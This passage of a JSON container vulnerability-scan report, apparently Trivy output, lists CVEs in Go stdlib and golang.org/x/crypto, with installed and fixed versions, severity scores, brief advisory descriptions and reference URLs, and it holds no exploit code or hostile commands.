"https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81858", "https://go.dev/cl/847309", "https://go.dev/issue/81858", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-78667.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78667", "https://pkg.go.dev/vuln/GO-2026-6609", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78667", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:03.88Z", "LastModifiedDate": "2026-10-09T17:16:49.69Z" }, { "VulnerabilityID": "CVE-2026-78669", "VendorIDs": [ "GO-2026-6611" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78669", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:232e151975743661c69f1943139ce13a2477bbc9a09f8a19eea86441936e08db", "Title": "net/http: net/http/internal/http2: golang.org/x/net/http2: net/http: Denial of Service via excessive HTTP/2 SETTINGS frames", "Description": "A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93617", "https://access.redhat.com/security/cve/CVE-2026-78669", "https://bugzilla.redhat.com/2548334", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2548341", "https://bugzilla.redhat.com/2548344", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548334", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2548341", "https://bugzilla.redhat.com/show_bug.cgi?id=2548344", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78667", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-94440", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-93617.html", "https://errata.rockylinux.org/RLSA-2026:93617", "https://github.com/golang/go/issues/81742", "https://go.dev/cl/847186", "https://go.dev/cl/847308", "https://go.dev/issue/81742", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://groups.google.com/g/golang-announce/c/ZPwCyRUuGBs", "https://linux.oracle.com/cve/CVE-2026-78669.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78669", "https://pkg.go.dev/vuln/GO-2026-6611", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-78669", "https://www.openwall.com/lists/oss-security/2026/10/08/9" ], "PublishedDate": "2026-10-08T23:17:04.01Z", "LastModifiedDate": "2026-10-09T17:16:49.857Z" }, { "VulnerabilityID": "CVE-2026-97031", "VendorIDs": [ "GO-2026-6607" ], "PkgID": "stdlib@v1.25.6", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "InstalledVersion": "v1.25.6", "FixedVersion": "1.26.9, 1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97031", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:1b9776e2746a87df5af8a0496db62db2d4870f41e2e73e9e86b23b434980f1a2", "Title": "crypto/tls: golang: crypto/tls: Denial of Service via multiple ECH outer extension references", "Description": "Multiple ECH outer extension references are not permitted under RFC 9849; previously, a client could send a well-crafted packet that could trigger memory exhaustion in the server process by specifying multiple references. We now reject these as malformed and curb the memory amplification vector as a result.", "Severity": "HIGH", "CweIDs": [ "CWE-405" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-97031", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://go.dev/cl/847312", "https://go.dev/issue/81855", "https://groups.google.com/g/golang-announce/c/U2fTuyDJznI", "https://linux.oracle.com/cve/CVE-2026-97031.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97031", "https://pkg.go.dev/vuln/GO-2026-6607", "https://www.cve.org/CVERecord?id=CVE-2026-97031" ], "PublishedDate": "2026-10-08T23:17:06.037Z", "LastModifiedDate": "2026-10-09T16:35:35.9Z" } ] }, { "Target": "usr/bin/tempio", "Class": "lang-pkgs", "Type": "gobinary", "Packages": [ { "ID": "github.com/home-assistant/tempio", "Name": "github.com/home-assistant/tempio", "Identifier": { "PURL": "pkg:golang/github.com/home-assistant/tempio", "UID": "60cdee532fe59a8e" }, "Relationship": "root", "DependsOn": [ "dario.cat/mergo@v1.0.1", "github.com/Masterminds/goutils@v1.1.1", "github.com/Masterminds/semver/v3@v3.3.0", "github.com/Masterminds/sprig/v3@v3.3.0", "github.com/google/uuid@v1.6.0", "github.com/huandu/xstrings@v1.5.0", "github.com/mitchellh/copystructure@v1.2.0", "github.com/mitchellh/reflectwalk@v1.0.2", "github.com/shopspring/decimal@v1.4.0", "github.com/spf13/cast@v1.7.0", "golang.org/x/crypto@v0.26.0", "stdlib@v1.23.3" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "stdlib@v1.23.3", "Name": "stdlib", "Identifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "Version": "v1.23.3", "Relationship": "direct", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "dario.cat/mergo@v1.0.1", "Name": "dario.cat/mergo", "Identifier": { "PURL": "pkg:golang/dario.cat/mergo@v1.0.1", "UID": "a44eb7bb4422e049" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/goutils@v1.1.1", "Name": "github.com/Masterminds/goutils", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/goutils@v1.1.1", "UID": "d28e6ed8811a948d" }, "Version": "v1.1.1", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/semver/v3@v3.3.0", "Name": "github.com/Masterminds/semver/v3", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/semver/v3@v3.3.0", "UID": "7b386e8e221ab7e2" }, "Version": "v3.3.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/Masterminds/sprig/v3@v3.3.0", "Name": "github.com/Masterminds/sprig/v3", "Identifier": { "PURL": "pkg:golang/github.com/masterminds/sprig/v3@v3.3.0", "UID": "f6ba81b75e02f273" }, "Version": "v3.3.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/uuid@v1.6.0", "Name": "github.com/google/uuid", "Identifier": { "PURL": "pkg:golang/github.com/google/uuid@v1.6.0", "UID": "24282b4fdfcc068" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/huandu/xstrings@v1.5.0", "Name": "github.com/huandu/xstrings", "Identifier": { "PURL": "pkg:golang/github.com/huandu/xstrings@v1.5.0", "UID": "7f54d0a2ee4a81d9" }, "Version": "v1.5.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/copystructure@v1.2.0", "Name": "github.com/mitchellh/copystructure", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/copystructure@v1.2.0", "UID": "3167b4ff5c90fc91" }, "Version": "v1.2.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mitchellh/reflectwalk@v1.0.2", "Name": "github.com/mitchellh/reflectwalk", "Identifier": { "PURL": "pkg:golang/github.com/mitchellh/reflectwalk@v1.0.2", "UID": "a9541072271f6ef4" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/shopspring/decimal@v1.4.0", "Name": "github.com/shopspring/decimal", "Identifier": { "PURL": "pkg:golang/github.com/shopspring/decimal@v1.4.0", "UID": "3bb36d9d9d2365c9" }, "Version": "v1.4.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/spf13/cast@v1.7.0", "Name": "github.com/spf13/cast", "Identifier": { "PURL": "pkg:golang/github.com/spf13/cast@v1.7.0", "UID": "3b391f9369cd0e3c" }, "Version": "v1.7.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/crypto@v0.26.0", "Name": "golang.org/x/crypto", "Identifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "Version": "v0.26.0", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "AnalyzedBy": "gobinary" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2024-45337", "VendorIDs": [ "GHSA-v778-237x-gjrc", "GO-2024-3321" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.31.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-45337", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ad7cc2a650be9bd9e3407fc2416f9b4de510b60e6304b8ee20a7966ae87c1767", "Title": "golang.org/x/crypto/ssh: Misuse of ServerConfig.PublicKeyCallback may cause authorization bypass in golang.org/x/crypto", "Description": "Applications and libraries which misuse connection.serverAuthenticate (via callback field ServerConfig.PublicKeyCallback) may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that \"A call to this function does not guarantee that the key offered is in fact used to authenticate.\" Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/cry...@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "cbl-mariner": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "http://www.openwall.com/lists/oss-security/2024/12/11/2", "https://access.redhat.com/security/cve/CVE-2024-45337", "https://github.com/golang/crypto/commit/b4f1988a35dee11ec3e05d6bf3e90b695fbd8909", "https://go-review.googlesource.com/c/crypto/+/635315/", "https://go.dev/cl/635315", "https://go.dev/issue/70779", "https://groups.google.com/g/golang-announce/c/-nPEi39gI4Q/m/cGVPJCqdAQAJ", "https://nvd.nist.gov/vuln/detail/CVE-2024-45337", "https://pkg.go.dev/vuln/GO-2024-3321", "https://security.netapp.com/advisory/ntap-20250131-0007/", "https://ubuntu.com/security/notices/USN-7839-1", "https://ubuntu.com/security/notices/USN-7839-2", "https://www.cve.org/CVERecord?id=CVE-2024-45337" ], "PublishedDate": "2024-12-12T02:02:07.97Z", "LastModifiedDate": "2026-06-17T07:54:03.36Z" }, { "VulnerabilityID": "CVE-2025-22869", "VendorIDs": [ "GO-2025-3487" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.35.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-22869", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:627337ee0ff0720ae059dc9970863bb0bc628616c5be4c2d141204decc103d2f", "Title": "golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh", "Description": "SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "cbl-mariner": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2025:3833", "https://access.redhat.com/errata/RHSA-2025:7416", "https://access.redhat.com/security/cve/CVE-2025-22869", "https://bugzilla.redhat.com/2348367", "https://bugzilla.redhat.com/show_bug.cgi?id=2348367", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22869", "https://errata.almalinux.org/9/ALSA-2025-3833.html", "https://errata.rockylinux.org/RLSA-2025:7416", "https://github.com/golang/go/issues/71931", "https://go-review.googlesource.com/c/crypto/+/652135", "https://go.dev/cl/652135", "https://go.dev/issue/71931", "https://linux.oracle.com/cve/CVE-2025-22869.html", "https://linux.oracle.com/errata/ELSA-2025-7484.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-22869", "https://pkg.go.dev/vuln/GO-2025-3487", "https://security.netapp.com/advisory/ntap-20250411-0010/", "https://ubuntu.com/security/notices/USN-8519-1", "https://www.cve.org/CVERecord?id=CVE-2025-22869" ], "PublishedDate": "2025-02-26T08:14:24.997Z", "LastModifiedDate": "2026-06-17T08:50:40.113Z" }, { "VulnerabilityID": "CVE-2025-47913", "VendorIDs": [ "GO-2025-4116" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.43.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-47913", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:52a88d1f1f772c7e71f99e25c516685f03907543eee540be9c52977337efa967", "Title": "golang.org/x/crypto/ssh/agent: golang.org/x/crypto/ssh/agent: SSH client panic due to unexpected SSH_AGENT_SUCCESS", "Description": "SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "cbl-mariner": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:0470", "https://access.redhat.com/security/cve/CVE-2025-47913", "https://bugzilla.redhat.com/2414943", "https://bugzilla.redhat.com/show_bug.cgi?id=2414943", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-47913", "https://errata.almalinux.org/9/ALSA-2026-0470.html", "https://errata.rockylinux.org/RLSA-2026:0470", "https://github.com/advisories/GHSA-56w8-48fp-6mgv", "https://github.com/advisories/GHSA-hcg3-q754-cr77", "https://go-review.googlesource.com/c/crypto/+/700295", "https://go.dev/cl/700295", "https://go.dev/issue/75178", "https://linux.oracle.com/cve/CVE-2025-47913.html", "https://linux.oracle.com/errata/ELSA-2026-0753.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-47913", "https://pkg.go.dev/vuln/GO-2025-4116", "https://ubuntu.com/security/notices/USN-8519-1", "https://www.cve.org/CVERecord?id=CVE-2025-47913" ], "PublishedDate": "2025-11-13T22:15:51.28Z", "LastModifiedDate": "2026-10-18T20:10:00.11Z" }, { "VulnerabilityID": "CVE-2026-39828", "VendorIDs": [ "GO-2026-5014" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39828", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:e909210ec5e90f279193eac3fe9ebc34731f5faa4838f0b5fd5c8ad43270a4d1", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Unauthorized command execution via discarded SSH permissions", "Description": "When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-281" ], "VendorSeverity": { "amazon": 2, "azure": 2, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51038", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-39828", "https://bugzilla.redhat.com/show_bug.cgi?id=2480687", "https://go.dev/cl/781621", "https://go.dev/issue/79562", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-39828", "https://pkg.go.dev/vuln/GO-2026-5014", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39828.json", "https://www.cve.org/CVERecord?id=CVE-2026-39828" ], "PublishedDate": "2026-05-22T04:16:22.19Z", "LastModifiedDate": "2026-09-11T13:17:51.26Z" }, { "VulnerabilityID": "CVE-2026-39829", "VendorIDs": [ "GO-2026-5018" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39829", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:d46587aef4be4ace5ac2d269f41c0b336bab05174bc6d1377fec3e364725b132", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted public key with excessive parameters", "Description": "The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.", "Severity": "HIGH", "CweIDs": [ "CWE-347", "CWE-1284" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47949", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:48693", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:52857", 